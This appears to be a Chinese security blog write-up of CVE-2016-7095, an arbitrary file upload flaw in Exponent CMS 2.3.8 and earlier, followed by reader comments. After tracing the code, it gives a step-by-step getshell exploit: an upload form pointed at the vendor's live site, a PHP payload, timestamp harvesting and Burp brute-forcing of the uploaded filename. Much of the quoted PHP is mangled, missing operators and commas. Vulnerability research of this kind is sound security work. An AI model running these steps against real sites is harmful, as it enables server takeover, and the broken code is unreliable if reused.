【原创技术分享】Exponent-cms任意文件上传漏洞分析 (cve-2016-7095)

来源:互联网 发布:小米6 移动4g网络差 编辑:程序博客网 时间:2024/05/30 07:13

作者:Balisong

稿费:500RMB

Exponent cms是一款国外的cms,功能比较强大。但是在2.3.8版本及以下,存在着一个全版本通杀的任意文件上传漏洞。攻击者可以通过该漏洞直接getshell.

官方最新版2.3.9已经修复(http://www.exponentcms.org)


漏洞分析:


我们首先看一下漏洞触发点在:

/framework/modules/ecommerce/controllers/eventregistrationController.php中第1161行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
      if (!empty($_FILES['attach']['size'])) {
            $dir 'tmp';
            $filename = expFile::fixName(time() . '_' $_FILES['attach']['name']);
            $dest $dir '/' $filename;
            //Check to see if the directory exists.  If not, create the directory structure.
            if (!file_exists(BASE.$dir)) expFile::makeDirectory($dir);
            // Move the temporary uploaded file into the destination directory, and change the name.
            $file = expFile::moveUploadedFile($_FILES['attach']['tmp_name'], BASE . $dest);
//            $finfo = finfo_open(FILEINFO_MIME_TYPE);
//                $relpath = str_replace(PATH_RELATIVE, '', BASE);
//            $ftype = finfo_file($finfo, BASE.$dest);
//            finfo_close($finfo);
            if (!empty($file)) $mail->attach_file_on_disk(BASE . $file, expFile::getMimeType(BASE . $file));
        }
        $from array(ecomconfig::getConfig('from_address') => ecomconfig::getConfig('from_name'));
        if (empty($from[0])) $from = SMTP_FROMADDRESS;
        $mail->quickBatchSend(array(
             'headers'=>$headers,
                'html_message'=> $this->params['email_message'],
                'text_message'=> strip_tags(str_replace("<br>"""$this->params['email_message'])),
                'to'          => $email_addy,
                'from'        => $from,
                'subject'     => $this->params['email_subject']
        ));
        if (!empty($file))unlink(BASE . $file);  // delete temp file attachment
        flash('message', gt("You're email to event registrants has been sent."));
        expHistory::back();
}

然后我们可以看到这里有一个文件上传的操作,我们跟踪一下moveUploadedFile函数,在/framework/modules/file/models/expFile.php中第1508行:

1
2
3
4
5
6
7
8
9
public static function moveUploadedFile($tmp_name$dest) {
        move_uploaded_file($tmp_name$dest);
        if (file_exists($dest)) {
            $__oldumask = umask(0);
            chmod($dest, octdec(FILE_DEFAULT_MODE_STR + 0));
            umask($__oldumask);
            return str_replace(BASE, ''$dest);
        else return null;
    }

这里没有对后缀名进行一个检测,可以上传任意文件。文件命名的方式是time()+下划线+文件名。

然后我们看到紧跟着就有一个文件删除的操作:

  if (!empty($file))unlink(BASE . $file);

看起来是没有问题的,传上去之后立马删除掉了,因为文件存在的时间超级短,并且文件命名的方式里面带有时间戳,导致我们无法利用这个文件。

但是这里有个细节,就是在上传文件到删除文件的过程中,调用了一个函数操作:

也就是

1
2
3
4
5
6
7
8
$mail->quickBatchSend(array(
             'headers'=>$headers,
                'html_message'=> $this->params['email_message'],
                'text_message'=> strip_tags(str_replace("<br>"""$this->params['email_message'])),
                'to'          => $email_addy,
                'from'        => $from,
                'subject'     => $this->params['email_subject']
        ));

我们开始跟踪一下该函数:

在/framework/core/subsystems/expMail.php中第378行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function quickBatchSend($params array()) {
       if (empty($params['html_message']) && empty($params['text_message'])) {
           return false;
       }
     // set up the to address(es)
       if (is_array($params['to'])) {
           $params['to'] = array_filter($params['to']);
       else {
           $params['to'] = array(trim($params['to']));
       }
       if (empty($params['to'])) {
           $params['to'] = array(trim(SMTP_FROMADDRESS)); // default address is ours
       }
        $this->addTo($params['to']);  // we only do this to save addresses in our object
     // set up the from address(es)
       if (is_array($params['from'])) {
           $params['from'] = array_filter($params['from']);
       else {
           $params['from'] = trim($params['from']);
       }

在这里又调用了一个函数addto(),我们继续跟踪该函数,在该文件的 644行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function addTo($email = null) {
        // attempt to fix a bad to address
        if (is_array($email)) {
            foreach ($email as $address=>$name) {
                if (is_integer($address)) {
                    if (strstr($name,'.') === false) {
                        $email[$address] .= $name.'.net';
                    }
                }
            }
        else {
            if (strstr($email,'.') === false) {
                $email .= '.net';
            }
        }
        $this->to = $email;
        if (!empty($email)) {
            $this->message->setTo($email);  //fixme this resets the 'to' addresses, unless using $this->message->addTo($email);
//         $this->message->addTo($email);  //if you need to reset the 'to' addresses, use $this->flushRecipients();
        }
    }

这里又调用了一个setTo()函数,我们继续跟踪该函数,在/external/swiftmailer-5.4.2/lib/classes/Swift/Mime/SimpleMessage.php中第316行:

1
2
3
4
5
6
7
8
9
10
11
public function setTo($addresses$name = null)
    {   
        if (!is_array($addresses) && isset($name)) {
            $addresses array($addresses => $name);
        }
  
        if (!$this->_setHeaderFieldModel('To', (array$addresses)) {
            $this->getHeaders()->addMailboxHeader('To', (array$addresses);
        }
        return $this;
}

这里调用了一个addMailboxHeader函数,我们继续追踪该函数,在/external/swiftmailer-5.4.2/lib/classes/Swift/Mime/SimpleHeaderSet.php中第65行:

1
2
3
4
5
  public function addMailboxHeader($name$addresses = null)
    {
        $this->_storeHeader($name,
        $this->_factory->createMailboxHeader($name$addresses));
    }

这里又调用了一个createMailboxHeader函数,我们继续跟踪,在/external/swiftmailer-5.4.2/lib/classes/Swift/Mime/SimpleHeaderFactory.php中第54行:


1
2
3
4
5
6
7
8
9
10
public function createMailboxHeader($name$addresses = null)
    {
        $header new Swift_Mime_Headers_MailboxHeader($name$this->_encoder, $this->_grammar);
        if (isset($addresses)) {
            $header->setFieldBodyModel($addresses);
        }
        $this->_setHeaderCharset($header);
  
        return $header;
}

这里又调用到了一个setFieldBodyModel函数,我们继续跟踪, /external/swiftmailer-5.4.2/lib/classes/Swift/Mime/Headers/MailboxHeader.php中第61行:

1
2
3
4
public function setFieldBodyModel($model)
    {
        $this->setNameAddresses($model);
}

这里调用了一个setNameAddresses函数,我们继续跟踪该函数,在该文件104行:

1
2
3
4
5
public function setNameAddresses($mailboxes)
    {
        $this->_mailboxes = $this->normalizeMailboxes((array$mailboxes);
        $this->setCachedValue(null); //Clear any cached value
}

这里又调用了normalizeMailboxes函数,我们继续跟踪该函数,在该文件的250行:

这里调用了一个_assertValidAddress函数,我们继续跟踪该函数,在该文件的第344行:

1
2
3
4
5
6
7
8
9
10
11
private function _assertValidAddress($address)
    {
    echo $this->getGrammar()->getDefinition('addr-spec');
        if (!preg_match('/^'.$this->getGrammar()->getDefinition('addr-spec').'$/D',
            $address)) {
            throw new Swift_RfcComplianceException(
                'Address in mailbox given ['.$address.
                '] does not comply with RFC 2822, 3.6.2.'
                );
        }
}

可以看到这里对于我们传入的$address做了一个正则匹配,如果正则不匹配的话,就会throw出错误信息,导致运行的程序运行的中止。那么结合我们上面所说的,这个步骤是在上传文件完成之后,删除文件之前执行的,如果这个步骤出了错,那么就不会对上传文件进行删除。那么我们上传的文件就存活了下来。

那么怎样让这个正则匹配失效呢?

可以看到这个正则匹配是验证你是否是有效的邮箱地址,如果不是有效的邮箱地址就会报错,那么我们传入一个错误的邮箱地址的话,就会报错了。但是这里我们不这么“简单”的做,我们搞一点有意思的事情。

我们首先看一下我们参数传入的地方:

在/framework/modules/ecommerce/controllers/eventregistrationController.php中第1149行:

1
2
3
$email_addy array_flip(array_flip($this->params['email_addresses']));
$email_addy array_map('trim'$email_addy);
$email_addy array_filter($email_addy);

这里的$email_addy是我们可控的。用户正常的输入的话,这个地方$this->params['email_addresses']应该是一个数组,然后后面的一切都能正规的运行下去,不会出错,但是!!!如果这个地方我们不传入数组会怎么样?正如大家知道的,array_flip()是对数组进行操作的,但是如果我们给它传入一个字符串的话,那么结果会返回一个null,意思就是说现在$email_addy=NULL。然后我们看到将$email_addy带入到了quickBatchSend函数中去:

1
2
3
4
5
6
7
8
$mail->quickBatchSend(array(
             'headers'=>$headers,
                'html_message'=> $this->params['email_message'],
                'text_message'=> strip_tags(str_replace("<br>"""$this->params['email_message'])),
                'to'          => $email_addy,
                'from'        => $from,
                'subject'     => $this->params['email_subject']
        ));

在quickBatchSend中又对$email_addy做了处理:

1
2
3
4
5
6
7
8
9
      if (is_array($params['to'])) {
           $params['to'] = array_filter($params['to']);
       else {
           $params['to'] = array(trim($params['to']));
       }
       if (empty($params['to'])) {
           $params['to'] = array(trim(SMTP_FROMADDRESS)); // default address is ours
       }
        $this->addTo($params['to']);  // we only do this to save addresses in our object

首先会判断是否是数组,如果不是的话,就变成一个数组。我们知道开始$Params[‘to’]为NULL,经过强行转换之后现在的$param[‘to’]就是array(0=>””),接下来的判断很有意思,:

1
if (empty($params['to']))

你觉得是true还是false呢?很多人认为会是ture,但是实际上是false。因为这个数组不是空数组,它有一个元素啊!!,虽然只是一个空字符串,但是它还是有元素啊,所以数组不为空,这个条件不成立。也就不会有赋值默认邮箱的操作:

1
$params['to'] = array(trim(SMTP_FROMADDRESS)); // default address is ours

然后将$params[‘to’]传递给了addTo函数,我们看一下addTo函数是怎样处理$params[‘to’]的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function addTo($email = null) {
        // attempt to fix a bad to address
        if (is_array($email)) {
            foreach ($email as $address=>$name) {
                if (is_integer($address)) {
                    if (strstr($name,'.') === false) {
                        $email[$address] .= $name.'.net';
                    }
                }
            }
        else {
            if (strstr($email,'.') === false) {
                $email .= '.net';
            }
        }
        $this->to = $email;
        if (!empty($email)) {
            $this->message->setTo($email);

里经过处理后,$email的值为array(1) { [0]=> string(4) ".net" }。然后传递给了setTo做操作:

1
2
3
4
5
6
7
8
9
10
11
public function setTo($addresses$name = null)
    {   
        if (!is_array($addresses) && isset($name)) {
            $addresses array($addresses => $name);
        }
  
        if (!$this->_setHeaderFieldModel('To', (array$addresses)) {
            $this->getHeaders()->addMailboxHeader('To', (array$addresses);
        }
        return $this;
}

将参数传递给了addMailboxHeader,我们看一下该函数的操作:

1
2
3
4
5
public function addMailboxHeader($name$addresses = null)
    {
        $this->_storeHeader($name,
        $this->_factory->createMailboxHeader($name$addresses));
}

又将$address给了createMailboxHeader函数,我们继续看操作:

1
2
3
4
5
6
7
8
9
10
   public function createMailboxHeader($name$addresses = null)
    {
        $header new Swift_Mime_Headers_MailboxHeader($name$this->_encoder, $this->_grammar);
        if (isset($addresses)) {
            $header->setFieldBodyModel($addresses);
        }
        $this->_setHeaderCharset($header);
  
        return $header;
    }

又给了setFieldbodyModel函数,我们继续看:

1
2
3
4
public function setFieldBodyModel($model)
    {
        $this->setNameAddresses($model);
}

又给了setNameAddresses函数,我们继续追踪该函数:

1
2
3
4
5
public function setNameAddresses($mailboxes)
    {
        $this->_mailboxes = $this->normalizeMailboxes((array$mailboxes);
        $this->setCachedValue(null); //Clear any cached value
}

又给了normalizeMailboxes函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
protected function normalizeMailboxes(array $mailboxes)
    {
        $actualMailboxes array();
  
        foreach ($mailboxes as $key => $value) {
            if (is_string($key)) {
                //key is email addr
                $address $key;
                $name $value;
            else {
                $address $value;
                $name = null;
            }
            $this->_assertValidAddress($address);
            $actualMailboxes[$address] = $name;
        }
  
        return $actualMailboxes;
}

经过这个函数处理之后,$address变成了字符串’.net’。然后将这个字符串给了_assertValidAddress做一个正则匹配是不是有效邮箱:

1
2
3
4
5
6
7
8
9
10
private function _assertValidAddress($address)
    {
        if (!preg_match('/^'.$this->getGrammar()->getDefinition('addr-spec').'$/D',
            $address)) {
            throw new Swift_RfcComplianceException(
                'Address in mailbox given ['.$address.
                '] does not comply with RFC 2822, 3.6.2.'
                );
        }
}

很显然,’.net’并不能与之相匹配,所以就抛出了一个错误。

导致程序的终止运行,也导致了程序的文件删除操作无法执行。

但是我们开始说了文件名的命名规则是time()+’_’+文件名。

那么我们如何知道time()呢?

在/framework/modules/ecommerce/controllers/eventregistrationController.php中第129行:

1
2
3
4
5
6
7
8
9
  function eventsCalendar() {
        global $user;
  
        expHistory::set('viewable'$this->params);
  
        $time = isset($this->params['time']) ? $this->params['time'] : time();
        assign_to_template(array(
            'time' => $time
        ));

这里直接将time()打印到了网站源码里,我们可以从这个地方得到一个大概的time值,然后便可以进行一个爆破文件名的操作,这样我们就能够getshell。

漏洞利用:


以程序官网为例

构造一个上传表单:

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<body>
<form
action="http://www.exponentcms.org/index.php?module=eventregistration&action=emailRegistrants&email_addresses=123456789@123.com&email_message=1&email_subject=1" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="attach" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

然后选择我们的php文件,文件名为index.php:

1
<?php phpinfo();?>

然后点击上传之后,可以看到报错了:

http://p4.qhimg.com/t01cb4154e5357b59fd.png

这个时候我们紧接着快速的访问

www.exponentcms.org/index.php?module=eventregistration&action=eventsCalendar

然后右键查看网页源代码找到rel:

http://p4.qhimg.com/t01c9982f67fe6581b4.png

记下这个数字,这就是大概的时间戳,我们爆破文件名需要用到的。

然后我们开始爆破文件名:

/tmp/时间戳_index.php

因为我们得到的时间戳比上传的时间戳要晚一些时间(所以说越快访问越好),但是爆破的位数基本可以控制在3位数以内。

然后我们就可以用burpsuite进行一个爆破文件名的操作:

http://p5.qhimg.com/t01533fbeb6092978bb.png

http://p8.qhimg.com/t01b4e702074dea9dfd.png

Status为200表示我们成功爆破到了文件名,我们访问一下,可以看到php文件确实成功上传:

http://p2.qhimg.com/t0198f466e0d0665a91.png

本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3001.html

    参与讨论,请先 登录 | 注册 | 匿名评论
     发布
    用户评论
    Faith4444 2016-09-07 19:29:20
    回复 |  点赞(0)

    分析和复现了这个漏洞,我的膝盖情不自禁的弯在了地上,请收了他

    Faith4444 2016-09-07 19:27:49
    回复 |  点赞(0)

    复现和分析完这个漏洞,我的膝盖情不自禁的弯了下去

    Balisong 2016-09-07 12:21:35
    回复 |  点赞(0)

    我感觉很害怕

    你的cookie 2016-09-07 08:21:06
    回复 |  点赞(0)

    膜拜我刀师傅

    你的cookie 2016-09-07 08:21:06
    回复 |  点赞(0)

    膜拜我刀师傅

    cnhacks 2016-09-06 22:03:43
    回复 |  点赞(0)

    支持的。。。查看源代码就看到了。有插件也会自动识别的啊...

    LuLzSec 2016-09-06 17:28:00
    回复 |  点赞(0)

    为什么不支持rss订阅?

    LuLzSec 2016-09-06 17:28:00
    回复 |  点赞(0)

    为什么不支持rss订阅?

    0 0
    原创粉丝点击